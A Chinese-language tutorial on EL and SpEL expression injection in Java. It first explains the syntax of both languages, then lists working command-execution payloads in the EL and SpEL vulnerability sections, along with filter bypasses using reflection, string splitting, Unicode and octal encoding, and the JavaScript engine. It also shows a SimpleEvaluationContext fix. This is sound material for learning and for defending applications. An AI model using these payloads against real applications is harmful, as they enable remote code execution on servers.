表达式注入

这篇文章主要介绍EL表达式注入和SPEL表达式注入

EL 表达式注入

EL（Expression Language）表达式是一种在Java EE（Java Platform, Enterprise Edition）中使用的表达式语言，主要用于简化JSP（JavaServer Pages）页面中的数据访问和表达式计算。EL表达式使得开发者可以在JSP页面中更方便地访问JavaBeans组件、集合、隐式对象等。

EL表达式的基本语法如下：

1	`${expression}F`

其中，expression是一个可以计算的表达式。EL表达式可以包含变量、运算符、方法调用等。

主要特点和用途

简化数据访问：EL表达式可以简化对JavaBeans属性的访问，例如：
1
${user.name}
这行代码会自动调用user对象的getName()方法。
集合访问：EL表达式可以方便地访问集合（如List、Map）中的元素，例如：
1
2
${myList[0]} ${myMap['key']}
隐式对象：EL表达式提供了一些隐式对象，如param、requestScope、sessionScope等，用于访问请求参数、请求范围、会话范围等数据。
运算符：EL表达式支持各种运算符，包括算术运算符、关系运算符、逻辑运算符等。

示例

假设有一个名为user的JavaBean对象，其中包含name和age属性，可以在JSP页面中使用EL表达式来显示这些属性：

<html>
<body>
    <h1>User Information</h1>
    <p>Name: ${user.name}</p>
    <p>Age: ${user.age}</p>
</body>
</html>

在这个例子中，${user.name}和${user.age}会分别调用user对象的getName()和getAge()方法，并将结果显示在页面上。

EL表达式在JSP开发中非常有用，它简化了代码，提高了开发效率，并且使得JSP页面更加清晰和易于维护。

基础语法

获取变量

Page Scope（页面作用域）：
- 作用域范围：仅在当前JSP页面内有效。
- 隐式对象：pageScope。
- 示例：${pageScope.myVariable}。
Request Scope（请求作用域）：
- 作用域范围：在一次HTTP请求内有效，包括请求转发。
- 隐式对象：requestScope。
- 示例：${requestScope.myVariable}。
Session Scope（会话作用域）：
- 作用域范围：在一次用户会话内有效，通常跨越多个请求。
- 隐式对象：sessionScope。
- 示例：${sessionScope.myVariable}。
Application Scope（应用作用域）：
- 作用域范围：在整个Web应用程序内有效，所有用户共享。
- 隐式对象：applicationScope。
- 示例：${applicationScope.myVariable}。

如果没有指定作用域，EL表达式会按照以下顺序查找变量：

Page Scope
Request Scope
Session Scope
Application Scope

例如：

1	`${myVariable}`

EL表达式会依次在Page Scope、Request Scope、Session Scope和Application Scope中查找myVariable，并返回第一个找到的值。

示例

假设在Request Scope中有一个名为user的变量，可以在JSP页面中使用EL表达式来访问它：

<html>
<body>
    <h1>User Information</h1>
    <p>Name: ${user.name}</p>
    <p>Age: ${user.age}</p>
</body>
</html>

在这个例子中，${user.name}和${user.age}会自动在Request Scope中查找user对象，并调用其getName()和getAge()方法。

操作符

类型	符号
算术型	+、-（二元）、`*`、/、div、%、mod、-（一元）
逻辑型	and、&&、or、双管道符、!、not
关系型	==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge。可以与其他值进行比较，或与布尔型、字符串型、整型或浮点型文字进行比较。
空	empty 空操作符是前缀操作，可用于确定值是否为空。
条件型	A ?B :C。根据 A 赋值的结果来赋值 B 或 C。

隐式对象

在EL（Expression Language）表达式中，隐式对象是预定义的变量，用于访问特定的数据或对象。这些隐式对象提供了对请求参数、请求头、作用域变量等的便捷访问方式。以下是一些常用的EL隐式对象：

1. 作用域相关的隐式对象
- **pageScope**：用于访问Page Scope中的变量。
  1
  ${pageScope.myVariable}
- **requestScope**：用于访问Request Scope中的变量。
  1
  ${requestScope.myVariable}
- **sessionScope**：用于访问Session Scope中的变量。
  1
  ${sessionScope.myVariable}
- **applicationScope**：用于访问Application Scope中的变量。
  1
  ${applicationScope.myVariable}
2. 请求相关的隐式对象
- **param**：用于访问请求参数的单个值。
  1
  ${param.username}
- **paramValues**：用于访问请求参数的所有值（适用于多值参数）。
  1
  ${paramValues.hobbies[0]}
- **header**：用于访问请求头的单个值。
  1
  ${header['User-Agent']}
- **headerValues**：用于访问请求头的所有值（适用于多值头）。
  1
  ${headerValues['Accept-Language'][0]}
3. 其他隐式对象
- **initParam**：用于访问Web应用程序的初始化参数。
  1
  ${initParam.myInitParam}
- **cookie**：用于访问请求中的cookie值。
  1
  ${cookie.myCookie.value}
- **pageContext**：用于访问JSP页面的PageContext对象，提供了对其他隐式对象的访问。
  1
  ${pageContext.request.contextPath}
示例
假设有一个表单提交，请求参数中包含username，可以在JSP页面中使用EL表达式来获取该参数的值：
1
2
3
4
5
<html> <body> <h1>Welcome, ${param.username}!</h1> </body> </html>
在这个例子中，${param.username}会自动获取请求参数username的值，并显示在页面上。

在EL（Expression Language）中，函数是一种可以被调用的代码单元，用于执行特定的操作或计算。EL函数通常与自定义标签库（Tag Library）一起使用，这些函数可以在JSP页面中通过特定的语法进行调用。

函数

定义EL函数

EL函数通常在自定义标签库描述文件（Tag Library Descriptor, TLD）中定义。TLD文件是一个XML文件，用于描述标签库中的标签和函数。

以下是一个简单的TLD文件示例（在 WEB-INF 文件夹下），定义了一个名为toUpperCase的EL函数：

<?xml version="1.0" encoding="UTF-8" ?>
<taglib xmlns="http://java.sun.com/xml/ns/j2ee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee 
        http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd"
        version="2.0">
    <tlib-version>1.0</tlib-version>
    <short-name>MyFunctions</short-name>
    <uri>http://example.com/myfunctions</uri>
    <function>
        <name>toUpperCase</name>
        <function-class>com.example.MyFunctions</function-class>
        <function-signature>java.lang.String toUpperCase(java.lang.String)</function-signature>
    </function>
</taglib>

在这个示例中：

<name>元素定义了函数的名称，这里是toUpperCase。
<function-class>元素指定了实现该函数的Java类的全限定名。
<function-signature>元素指定了函数的签名，包括返回类型和参数类型。

实现EL函数

在Java类中实现EL函数，例如：

package com.example;

public class MyFunctions {
    public static String toUpperCase(String input) {
        if (input == null) {
            return null;
        }
        return input.toUpperCase();
    }
}

在JSP中使用EL函数

在JSP页面中使用EL函数之前，需要先导入标签库。可以使用<%@ taglib %>指令来导入标签库：

1	`<%@ taglib prefix="my" uri="http://example.com/myfunctions" %>`

然后，可以在JSP页面中使用EL表达式调用该函数：

<html>
<body>
    <h1>Uppercase: ${my:toUpperCase("hello world")}</h1>
</body>
</html>

在这个示例中，${my:toUpperCase("hello world")}会调用MyFunctions类中的toUpperCase方法，并将结果显示在页面上。

禁用/启用EL表达式

全局禁用EL表达式

web.xml 中进入如下配置：

<jsp-config>
    <jsp-property-group>
        <url-pattern>*.jsp</url-pattern>
        <el-ignored>true</el-ignored>
    </jsp-property-group>
</jsp-config>

单个文件禁用EL表达式

在JSP文件中可以有如下定义：

1	`<%@ page isELIgnored="true" %>`

该语句表示是否禁用EL表达式，TRUE 表示禁止，FALSE 表示不禁止。

JSP2.0 中默认的启用EL表达式。

EL注入漏洞

EL表达式注入漏洞和 SpEL、OGNL等表达式注入漏洞是一样的漏洞原理的，即表达式外部可控导致攻击者注入恶意表达式实现任意代码执行。

一般的，EL表达式注入漏洞的外部可控点入口都是在 Java 程序代码中，即 Java 程序中的EL表达式内容全部或部分是从外部获取的。

通用 PoC

//对应于JSP页面中的pageContext对象（注意：取的是pageContext对象）
${pageContext}

//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

//文件头参数
${header}

//获取webRoot
${applicationScope}

//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}

这个payload是一个典型的Java表达式语言（EL）注入攻击的例子。它利用了Java的反射机制来执行系统命令。下面是对这个payload的详细分析：

${...}: 这是Java表达式语言（EL）的语法，用于在JSP页面中动态求值。
pageContext.setAttribute("a", ...): 这行代码的目的是在pageContext对象上设置一个名为a的属性。这个属性的值是通过后面的表达式计算得出的。
"".getClass().forName("java.lang.Runtime"): 这部分代码通过空字符串""获取String类的类对象，然后调用forName方法加载java.lang.Runtime类。java.lang.Runtime类提供了与运行时环境交互的方法。
getMethod("exec", "".getClass()): 这部分代码获取java.lang.Runtime类中的exec方法，该方法用于执行系统命令。"".getClass()返回String类的类对象，作为exec方法的参数类型。
invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null), "calc.exe"): 这部分代码执行以下步骤：
- "".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null): 获取java.lang.Runtime类的getRuntime方法，并调用它以获取Runtime实例。getRuntime方法是静态的，所以invoke(null)调用它。
- invoke(..., "calc.exe"): 使用上一步获取的Runtime实例调用exec方法，并传入参数"calc.exe"。这实际上是在执行系统命令calc.exe，通常是启动Windows计算器应用程序。

总结来说，这个payload的目的是通过Java反射机制在服务器上执行系统命令calc.exe。

绕过

基础 EXP

1	`"${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}"`

利用 ScriptEngine 调用 JS 引擎绕过

导入依赖

<dependency>
    <groupId>de.odysseus.juel</groupId>
    <artifactId>juel-api</artifactId>
    <version>2.2.7</version>
</dependency>
<dependency>
    <groupId>de.odysseus.juel</groupId>
    <artifactId>juel-impl</artifactId>
    <version>2.2.7</version>
</dependency>
<dependency>
    <groupId>de.odysseus.juel</groupId>
    <artifactId>juel-spi</artifactId>
    <version>2.2.7</version>
</dependency>

当然，以下是给你的代码添加注释的版本：

package demo3;

import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;

import javax.el.ExpressionFactory;
import javax.el.ValueExpression;

public class test {
    public static void main(String[] args) {
        // 创建一个表达式工厂实例，用于创建和解析表达式。
        ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
        
        // 创建一个简单的上下文实例，用于提供表达式计算的上下文环境。
        SimpleContext simpleContext = new SimpleContext();
              	
        // failed
        // String exp = "${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}";
        // 定义一个表达式字符串，该表达式使用JavaScript引擎执行系统命令
        // ok
        String exp = "${''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('Calc.exe')\")}";
        
        // 使用表达式工厂创建一个值表达式
        ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);
        
        // 计算并获取表达式的值，并打印结果
        System.out.println(valueExpression.getValue(simpleContext));
    }
}

POC解释

1	`${''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('Calc.exe')\")}`

这一段代码是一个Java表达式语言（EL）字符串，它利用了Java的脚本引擎来执行系统命令。以下是对这段代码的详细解释：

**${}**：这是Java表达式语言（EL）的语法，用于在字符串中嵌入表达式，并计算表达式的值。
**''.getClass()**：这是一个空字符串（''）调用 getClass() 方法，返回 String 类的 Class 对象。这里使用空字符串只是为了获取 Class 对象，实际上任何对象都可以用来调用 getClass()。
**.forName("javax.script.ScriptEngineManager")**：调用 Class 对象的 forName 方法，加载 javax.script.ScriptEngineManager 类。这个类是Java脚本API的一部分，用于管理脚本引擎。
**.newInstance()**：调用 ScriptEngineManager 类的 newInstance 方法，创建一个新的 ScriptEngineManager 实例。
**.getEngineByName("JavaScript")**：调用 ScriptEngineManager 实例的 getEngineByName 方法，获取名为 “JavaScript” 的脚本引擎。Java支持多种脚本语言，这里指定使用JavaScript引擎。
**.eval("java.lang.Runtime.getRuntime().exec('Calc.exe')")**：调用JavaScript引擎的 eval 方法，执行一段JavaScript代码。这段JavaScript代码调用了Java的 Runtime 类的 exec 方法，执行系统命令 Calc.exe。

总结

这段代码的目的是通过Java的脚本引擎执行系统命令 Calc.exe。虽然这段代码在技术上是可行的，但它展示了如何通过Java表达式语言执行任意系统命令，这在实际应用中是非常危险的，因为它可能导致安全漏洞。在生产环境中，应严格限制和审查表达式的内容，避免执行任意系统命令。

利用 Unicode 编码绕过

1
2

// Unicode编码内容为前面反射调用的PoC
\u0024\u007b\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0065\u0078\u0065\u0063\u0027\u002c\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u006e\u0075\u006c\u006c\u0029\u002c\u0027\u0063\u0061\u006c\u0063\u002e\u0065\u0078\u0065\u0027\u0029\u007d

利用八进制编码绕过

1
2

// 八进制编码内容为前面反射调用的PoC
\44\173\47\47\56\147\145\164\103\154\141\163\163\50\51\56\146\157\162\116\141\155\145\50\47\152\141\166\141\56\154\141\156\147\56\122\165\156\164\151\155\145\47\51\56\147\145\164\115\145\164\150\157\144\50\47\145\170\145\143\47\54\47\47\56\147\145\164\103\154\141\163\163\50\51\51\56\151\156\166\157\153\145\50\47\47\56\147\145\164\103\154\141\163\163\50\51\56\146\157\162\116\141\155\145\50\47\152\141\166\141\56\154\141\156\147\56\122\165\156\164\151\155\145\47\51\56\147\145\164\115\145\164\150\157\144\50\47\147\145\164\122\165\156\164\151\155\145\47\51\56\151\156\166\157\153\145\50\156\165\154\154\51\54\47\143\141\154\143\56\145\170\145\47\51\175

SPEL表达式注入

介绍

Spring Expression Language（SPEL）是一种功能强大的表达式语言，用于在运行时查询和操作对象图。它是Spring框架的一部分，旨在提供一种简洁而灵活的方式来处理复杂的表达式求值。

SPEL的主要特点包括：

灵活性：支持字面量、属性、方法、数组、列表、内联列表、内联数组、三元运算符、正则表达式等多种表达式。
类型支持：允许访问类静态方法和常量。
集合操作：支持对集合进行过滤、投影等操作。
模板表达式：允许混合字面量和表达式，使得配置更加灵活。

SPEL的应用场景包括：

Spring配置文件：在XML或注解配置中使用SPEL进行动态配置。
Spring Security：用于定义安全规则和权限检查。
Spring Data：在查询和条件表达式中使用SPEL。

通过SPEL，开发者可以编写简洁而强大的表达式，从而在运行时动态地处理数据和逻辑。

SpEL 表达式基础

SPEL定界符

在Spring Expression Language（SPEL）中，定界符（Delimiter）用于标识表达式的开始和结束。SPEL的默认定界符是#{}。这意味着当在Spring配置文件或注解中使用SPEL表达式时，需要将表达式放在#{}之间。

例如，在Spring配置文件中，可以这样使用SPEL表达式：

1
2
3

<bean id="exampleBean" class="com.example.ExampleBean">
    <property name="message" value="#{systemProperties['user.name']}" />
</bean>

在这个例子中，#{systemProperties['user.name']}是一个SPEL表达式，它从系统属性中获取当前用户的用户名。

在注解中，SPEL表达式的使用方式类似：

1 2	`@Value("#{systemProperties['user.name']}") private String userName;`

这里，@Value注解用于注入一个值，而#{systemProperties['user.name']}是一个SPEL表达式，用于获取系统属性中的用户名。

总结来说，SPEL的定界符是#{}，它用于标识表达式的边界，使得Spring能够识别并解析其中的表达式。

SPEL表达式类型

字面量表达式

这些字面量表达式可以直接在 SpEL 中使用，例如在 Spring 的配置文件或注解中：

@Value("#{'Hello, World!'}")
private String greeting;

@Value("#{42}")
private int magicNumber;

@Value("#{3.14}")
private double pi;

@Value("#{true}")
private boolean isActive;

@Value("#{null}")
private Object emptyObject;

通过这些字面量表达式，可以在运行时将这些固定值注入到 Spring 管理的 Bean 中。

属性表达式

public class User2 {
    int age=17;
}
public class User{
    public User2 user2=new User2(18);

	@Value("#{user2.age}")
	public int age;
}

输出：
User{age=17}

方法表达式

public class User2 {
    int age=17;

    public int print(){
        System.out.println("cmisl");
        return 0;
    }
}

public class User{
    public User2 user2=new User2(18);

	@Value("#{user2.print()}")
	public int age;
}

输出：
cmisl
User{age=0}

操作符表达式

算术操作符：例如 a + b、c - d
比较操作符：例如 a > b、c == d
逻辑操作符：例如 a and b、c or d
正则表达式：例如 name matches 'John.*'
三元操作符：例如 condition ? trueExpression : falseExpression
Elvis 操作符：例如 name ?: 'Unknown'
安全导航操作符：例如 user?.name，避免 NullPointerException

public class User{
    @Value("#{2>1}")
    public boolean aBoolean;
}
输出：
true

类型表达式

在 SpEL 表达式中，使用 T(Type) 运算符会调用类的作用域和方法。换句话说，就是可以通过该类类型表达式来操作类。

假设我们有一个类 Constants，其中包含一个静态字段 MAX_VALUE：

1
2
3

java复制public class Constants {
    public static final int MAX_VALUE = 100;
}

我们可以使用SpEL来获取这个静态字段的值。在Spring配置中，我们可以这样写：

1 2	`java复制@Value("#{T(com.example.Constants).MAX_VALUE}") private int maxValue;`

在这个例子中：

T(com.example.Constants) 是SpEL的类型表达式，用于引用 Constants 类。
.MAX_VALUE 用于访问 Constants 类中的静态字段 MAX_VALUE。

这样，maxValue 字段将被注入 Constants.MAX_VALUE 的值，即 100。

使用 T(Type) 来表示 java.lang.Class 实例，Type 必须是类全限定名，但 ”java.lang” 包除外，因为 SpEL 已经内置了该包，即该包下的类可以不指定具体的包名；使用类类型表达式还可以进行访问类静态方法和类静态字段。

这里就有潜在的攻击面了
因为我们 java.lang.Runtime 这个包也是包含于 java.lang 的包的，所以如果能调用 Runtime
就可以进行命令执行

public class test {
    public static void main(String[] args) {
        ExpressionParser parser = new SpelExpressionParser();
     
        String expression = "T(java.lang.Runtime).getRuntime().exec('calc')";
        Class<Object> result = parser.parseExpression(expression).getValue(Class.class);
    }
}

public class user{
    @Value("#{T(java.lang.Runtime).getRuntime.exec('calc')}")
    public int age;
}

SpEL 用法

Spring Expression Language (SpEL) 是一种强大的表达式语言，支持在运行时查询和操作对象图。SpEL 可以用于多种场景，包括但不限于以下三种主要用法：

在Spring配置文件中使用SpEL：

在Spring的XML配置文件或注解中使用SpEL表达式来动态设置Bean的属性值。

例如，在XML配置文件中：

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2
3

<bean id="exampleBean" class="com.example.ExampleBean">
    <property name="message" value="#{systemProperties['user.name']}" />
</bean>

在注解中：

1 2	`@Value("#{systemProperties['user.name']}") private String message;`

在Java代码中使用SpEL：

在Java代码中通过 ExpressionParser 和 SpelExpressionParser 解析和执行SpEL表达式。

例如：

import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class SpelExample {
    public static void main(String[] args) {
        ExpressionParser parser = new SpelExpressionParser();
        String expression = "('Hello' + ' World').toUpperCase()";
        String result = parser.parseExpression(expression).getValue(String.class);
        System.out.println(result); // 输出: HELLO WORLD
    }
}

在Spring Security中使用SpEL：

Spring Security 支持使用SpEL来定义安全规则和访问控制。

例如，在Spring Security配置中：

http
    .authorizeRequests()
        .antMatchers("/admin/**").hasRole("ADMIN")
        .antMatchers("/user/**").access("hasRole('USER') and authentication.name == 'user'")
        .anyRequest().authenticated()
        .and()
    .formLogin();

在这个例子中，access 方法使用了SpEL表达式来定义访问控制规则。

总结：

SpEL 可以在Spring配置文件中动态设置属性值。
SpEL 可以在Java代码中解析和执行表达式。
SpEL 可以在Spring Security中定义安全规则和访问控制。

恶意指令执行

package poc;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class test {
    public static void main(String[] args) {
        // 创建一个 SpEL 表达式解析器实例
        ExpressionParser parser = new SpelExpressionParser();

        // 定义一个包含 SpEL 表达式的字符串，该表达式将执行系统命令 'calc'
        String spel = "T(java.lang.Runtime).getRuntime().exec('calc')";

        // 解析 SpEL 表达式字符串并生成一个 Expression 对象
        Expression expression = parser.parseExpression(spel);

        // 计算并输出表达式的值，这将执行系统命令 'calc'
        System.out.println(expression.getValue());
    }
}

创建类实例

package demo1;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class test {
    public static void main(String[] args) {
        // 定义一个包含 SpEL 表达式的字符串，该表达式将创建一个新的 java.util.Date 对象
        String spel = "new java.util.Date()";

        // 创建一个 SpEL 表达式解析器实例
        ExpressionParser parser = new SpelExpressionParser();

        // 解析 SpEL 表达式字符串并生成一个 Expression 对象
        Expression expression = parser.parseExpression(spel);

        // 计算并输出表达式的值，这将输出当前的日期和时间
        System.out.println(expression.getValue());
    }
}

SpEL运算

基本运算

运算符类型	运算符
算数运算	+, -, *, /, %, ^
关系运算	<, >, ==, <=, >=, lt, gt, eq, le, ge
逻辑运算	and, or, not, !
条件运算	?:(ternary), ?:(Elvis)
正则表达式	matches

以下是使用 SpEL 表达式 #{} 的形式来表示各种运算的示例：

算数运算

#{1 + 2} // 加法
#{3 - 1} // 减法
#{2 * 3} // 乘法
#{6 / 2} // 除法
#{5 % 2} // 取模
#{2 ^ 3} // 幂运算

关系运算

#{3 < 5} // 小于
#{5 > 3} // 大于
#{3 == 3} // 等于
#{3 <= 3} // 小于等于
#{5 >= 5} // 大于等于
#{3 lt 5} // 小于 (同 <)
#{5 gt 3} // 大于 (同 >)
#{3 eq 3} // 等于 (同 ==)
#{3 le 3} // 小于等于 (同 <=)
#{5 ge 5} // 大于等于 (同 >=)

逻辑运算

#{true and false} // 逻辑与
#{true or false} // 逻辑或
#{not true} // 逻辑非
#{!false} // 逻辑非 (同 not)

条件运算

1 2	`#{2 > 1 ? 'yes' : 'no'} // 三元运算符 #{name ?: 'default'} // Elvis 运算符`

正则表达式

1	`#{'hello' matches 'h.*o'} // 正则表达式匹配`

集合操作

1. 访问集合元素

可以使用索引来访问列表或数组中的元素。例如：

List<String> list = new ArrayList<>();
list.add("apple");
list.add("banana");
list.add("cherry");

String fruit = parser.parseExpression("#list[1]").getValue(context, list);
// fruit = "banana"

2. 映射操作

可以使用键来访问映射中的值。例如：

Map<String, String> map = new HashMap<>();
map.put("fruit1", "apple");
map.put("fruit2", "banana");

String fruit = parser.parseExpression("#map['fruit2']").getValue(context, map);
// fruit = "banana"

3. 集合过滤

可以使用 ?[] 运算符来过滤集合中的元素。例如：

List<Integer> numbers = Arrays.asList(1, 2, 3, 4, 5);

List<Integer> evenNumbers = (List<Integer>) parser.parseExpression("#numbers.?[#this % 2 == 0]").getValue(context, numbers);
// evenNumbers = [2, 4]

4. 集合投影

可以使用 ![] 运算符来选择集合中的特定属性。例如：

class Person {
    private String name;
    private int age;

    // getters and setters
}

List<Person> people = Arrays.asList(new Person("Alice", 30), new Person("Bob", 25));

List<String> names = (List<String>) parser.parseExpression("#people.![name]").getValue(context, people);
// names = ["Alice", "Bob"]

5. 集合排序

可以使用 sort() 方法对集合进行排序。例如：

List<Integer> numbers = Arrays.asList(5, 3, 1, 4, 2);

List<Integer> sortedNumbers = (List<Integer>) parser.parseExpression("#numbers.sort()").getValue(context, numbers);
// sortedNumbers = [1, 2, 3, 4, 5]

6. 集合聚合

可以使用聚合函数（如 min()、max()、average()）来处理集合。例如：

List<Integer> numbers = Arrays.asList(1, 2, 3, 4, 5);

int maxNumber = parser.parseExpression("#numbers.max()").getValue(context, numbers, Integer.class);
// maxNumber = 5

7. 集合转换

可以使用 collect() 方法将集合转换为另一种类型。例如：

List<String> names = Arrays.asList("Alice", "Bob");

List<Integer> lengths = (List<Integer>) parser.parseExpression("#names.collect(name -> name.length())").getValue(context, names);
// lengths = [5, 3]

完整代码参考

package demo1;

import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;

import java.util.ArrayList;
import java.util.List;

public class test {
    public static void main(String[] args) {
        // 创建一个列表
        List<String> list = new ArrayList<>();
        list.add("apple");
        list.add("banana");
        list.add("cherry");

        // 创建一个SpEL表达式解析器
        ExpressionParser parser = new SpelExpressionParser();

        // 创建一个评估上下文
        StandardEvaluationContext context = new StandardEvaluationContext();
        context.setVariable("list", list);

        // 解析表达式并获取值
        String fruit = parser.parseExpression("#list[1]").getValue(context, String.class);

        // 输出结果
        System.out.println("Fruit: " + fruit);  // 输出: Fruit: banana
    }
}

自定义方法

首先，需要定义一个静态方法，这个方法将作为自定义函数。接下来，需要在SpEL的评估上下文中注册这个自定义函数。可以使用 StandardEvaluationContext 的 registerFunction 方法来完成这个任务。

package demo3;

import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;

import java.lang.reflect.Method;

public class SpELExample {
    public static void main(String[] args) {
        // 创建一个SpEL表达式解析器
        ExpressionParser parser = new SpelExpressionParser();

        // 创建一个评估上下文
        StandardEvaluationContext context = new StandardEvaluationContext();

        // 注册自定义函数
        try {
            Method reverseStringMethod = CustomFunctions.class.getDeclaredMethod("reverseString", String.class);
            context.registerFunction("reverseString", reverseStringMethod);
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        }

        // 解析表达式并获取值
        String result = parser.parseExpression("#reverseString('hello')").getValue(context, String.class);

        // 输出结果
        System.out.println("Result: " + result);  // 输出: Result: olleh
    }
}

class CustomFunctions {
    public static String reverseString(String input) {
        return new StringBuilder(input).reverse().toString();
    }
}

SPEL注入漏洞

原理

SimpleEvaluationContext 和 StandardEvaluationContext 是 SpEL 提供的两个 EvaluationContext：

SimpleEvaluationContext：针对不需要 SpEL 语言语法的全部范围并且应该受到有意限制的表达式类别，公开 SpEL 语言特性和配置选项的子集。它旨在仅支持 SpEL 语言语法的一个子集，不包括 Java 类型引用、构造函数和 bean 引用。
StandardEvaluationContext：公开全套 SpEL 语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

由于 SpEL 表达式可以操作类及其方法，可以通过类类型表达式 T(Type) 来调用任意类方法，这是因为在不指定 EvaluationContext 的情况下默认采用的是 StandardEvaluationContext，而它包含了 SpEL 的所有功能。在允许用户控制输入的情况下，这可能导致任意命令执行。

例如，以下代码展示了如何使用 SpEL 表达式执行系统命令：

public class BasicCalc {  
    public static void main(String[] args) {  
        String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";  
        ExpressionParser parser = new SpelExpressionParser();  
        Expression expression = parser.parseExpression(spel);  
        System.out.println(expression.getValue());  
    }  
}

在这个例子中，SpEL 表达式 T(java.lang.Runtime).getRuntime().exec("calc") 被解析并执行，导致计算器程序（在 Windows 系统上）被启动。

为了防止这种安全风险，可以使用 SimpleEvaluationContext 来限制表达式的功能，避免执行危险的操作：

public class BasicCalc {  
    public static void main(String[] args) {  
        String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";  
        ExpressionParser parser = new SpelExpressionParser();  
        EvaluationContext context = new SimpleEvaluationContext.Builder().build();  
        Expression expression = parser.parseExpression(spel);  
        System.out.println(expression.getValue(context));  
    }  
}

在这个修改后的例子中，使用 SimpleEvaluationContext 来解析和执行表达式，由于 SimpleEvaluationContext 不支持 Java 类型引用和构造函数，因此表达式 T(java.lang.Runtime).getRuntime().exec("calc") 将无法执行，从而避免了安全风险。

POC

// PoC原型
 
// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")
 
// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()

bypass

// Bypass技巧
 
// 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
 
// 同上，需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
 
// 反射调用+字符串拼接，绕过如javacon题目中的正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
    
 T(String).getClass().forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(T(String).getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(T(String).getClass().forName("java.lang.Runtime")),new String[]{"cmd","/C","calc"})
 
// 同上，需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
 
// 当执行的系统命令被过滤或者被URL编码掉时，可以通过String类动态生成字符，Part1
// byte数组内容的生成后面有脚本
//new java.lang.String(new byte[]{99,97,108,99}等价于"calc"
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()

    
    
// 当执行的系统命令被过滤或者被URL编码掉时，可以通过String类动态生成字符，Part2
// byte数组内容的生成后面有脚本
//java.lang.Character.toString((char) 99)等价于"c"
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))

JavaScript Engine Bypass

调用js引擎的eval方法执行java恶意代码。

可调用的js引擎有[nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]

1
2
3

ScriptEngineManager sem = new ScriptEngineManager();
ScriptEngine engine = sem.getEngineByName("ECMAScript");
System.out.println(engine.eval("java.lang.Runtime.getRuntime().exec('calc')"));

